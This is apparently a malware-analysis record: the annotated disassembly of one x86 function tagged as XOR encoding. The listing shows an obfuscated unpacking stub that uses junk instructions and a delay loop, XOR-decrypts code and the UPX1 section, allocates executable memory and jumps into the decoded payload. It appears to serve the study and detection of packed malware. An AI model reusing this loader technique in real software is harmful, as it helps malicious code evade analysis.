Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc92146b1
mov edi, 0x7709b37a
or edi, ecx
popal
mov ecx, 0xd39df400
add edi, ecx
add edi, 0xdadf6881
mov ecx, 0
mov edx, eax
mov esi, ebx
sub esi, 0x8f18858c
and esi, ebx
mov edi, edx
add ebx, 0xad7330bc
and esi, esi
or ebx, ebx
mov eax, edi
mov ebx, 0x309a0b1c
and esi, ebx
inc ecx
add esi, ebx
not esi
cmp ecx, 0x100ae25
jne 0x47b454
dec ebx
inc esi
add ebx, 1
and edi, ecx
sub ecx, 1
or edi, ecx
mov edi, 0x47b21e
sub eax, 0x1d25e9fd
add ecx, 0xb2c18ce8
mov ebx, 0x47b412
add eax, eax
or ecx, edx
mov esi, dword [edi]
mov edx, eax
inc eax
add eax, 1
and esi, 0xff
or eax, edx
add ecx, 0xad3833c3
not edx
xor dword [ebx], esi
sub edx, eax
inc edx
inc ebx
mov edx, eax
dec eax
mov eax, edx
inc edi
or eax, edx
add edx, 0x2c7652
inc edx
cmp ebx, entry0
jl 0x47b4b2
or eax, edx
not eax
sub edx, 0x7d9fc20d
sub eax, 0x34b0e4b6
sub ecx, 0x844bac51
and ecx, ecx
inc edi
mov ebx, edx
mov esi, 0x47b416
sub ecx, edi
sub edi, 1
mov esi, dword [esi]
dec edx
add ecx, 0xbf05edd4
mov edx, 0x7a89b4d5
mov esi, dword [esi]
dec ebx
sub edx, 0x1f8271a9
sub edi, edx
push esi
and edi, edx
add edi, edx
mov esi, 0x47b412
or edx, edx
mov ecx, edx
dec edi
mov esi, dword [esi]
mov edx, 0x3673b082
add ecx, 1
mov esi, dword [esi]
mov ebx, edx
not edx
push 0x47b41a
and edi, edx
and edi, edi
call esi
inc ecx
and ebx, ebx
pop esi
add ebx, 1
or edx, edi
sub esp, 4
mov dword [esp], 0x47b427
add ebx, 1
dec edi
push eax
sub edi, 0x6ffc358e
add edi, 0x4c15aa49
and edi, edi
call esi
add ebx, 0xeaf9de5
inc edx
and edx, ebx
push 0x40
inc ebx
dec ecx
or edi, ecx
push 0x3000
sub ebx, 1
not ecx
mov edx, ecx
sub esp, 4
mov dword [esp], 0x200009a4
and ecx, ebx
add ebx, edx
push 0
dec edi
dec edi
sub edi, edx
call eax
sub edi, 0xebb8eed5
sub edx, ecx
add eax, 0x200008df
and ecx, ecx
sub ecx, 0x3f18b180
mov esi, 0xd53918e4
sub ebx, 0xfc46686c
dec ecx
mov dword [eax], esi
inc ebx
or ecx, edi
or ebx, ebx
mov esi, dword [eax]
dec ebx
not edx
cmp esi, 0xd53918e4
je 0x47b601
mov eax, 0
mov dword [eax], edx
sub edx, ebx
or edi, edx
mov ecx, edi
add edx, edi
not ebx
mov ebx, 0x4bda2ef
sub edi, 1
sub edi, 0x1672a33f
sub ecx, edi
mov esi, section.UPX1
mov ecx, 0x6ff7bb48
sub ecx, 0x7e061ca5
dec ecx
mov eax, 0x47b21d
and edi, edi
mov ecx, edi
mov ebx, 0
or edi, ecx
add ecx, 0x72e1893a
mov edx, 0x47b21e
sub edi, ecx
sub edi, 0xdba02198
lea edx, [ebx + edx]
add edi, 0x506f7eb8
dec ecx
mov edx, dword [edx]
add ecx, 0x6f345aeb
sub ecx, edi
inc edi
and edx, 0xff
add ecx, 0xdd9724cf
inc ecx
add ebx, 1
or edi, edi
add ecx, 0x6e42f791
dec ecx
cmp ebx, 0x1f4
jne 0x47b690
mov ebx, 0
mov edi, ecx
add ecx, edi
add edi, 0x60388088
add edi, edi
xor dword [esi], edx
dec edi
sub ecx, 1
add esi, 2
add ecx, 0x48b7e3d5
dec ecx
add edi, edi
cmp esi, eax
jl 0x47b645
and ecx, ecx
not ecx
add ecx, 0x38458d06
sub edi, 0x239a20e9
mov ecx, section.UPX1
and eax, ebx
sub ebx, 0x76e848d0
and ebx, ebx
mov esi, section.UPX1
add eax, 1
not eax
mov edi, 0x47b21d
not ebx
mov eax, ebx
mov edx, 0
mov ebx, eax
mov ebx, eax
mov dl, byte [esi]
add ebx, 0xa40c525c
sub eax, 1
sub eax, ebx
mov byte [ecx], dl
and eax, eax
mov ebx, eax
inc ecx
not eax
mov eax, ebx
add esi, 2
sub ebx, 0x3ed81303
mov eax, ebx
cmp esi, edi
jle 0x47b6fa
add eax, eax
add ebx, eax
add eax, ebx
sub ecx, edi
dec ecx
sub esp, 4
mov dword [esp], 0x45e6a0
dec ecx
add ecx, ecx
ret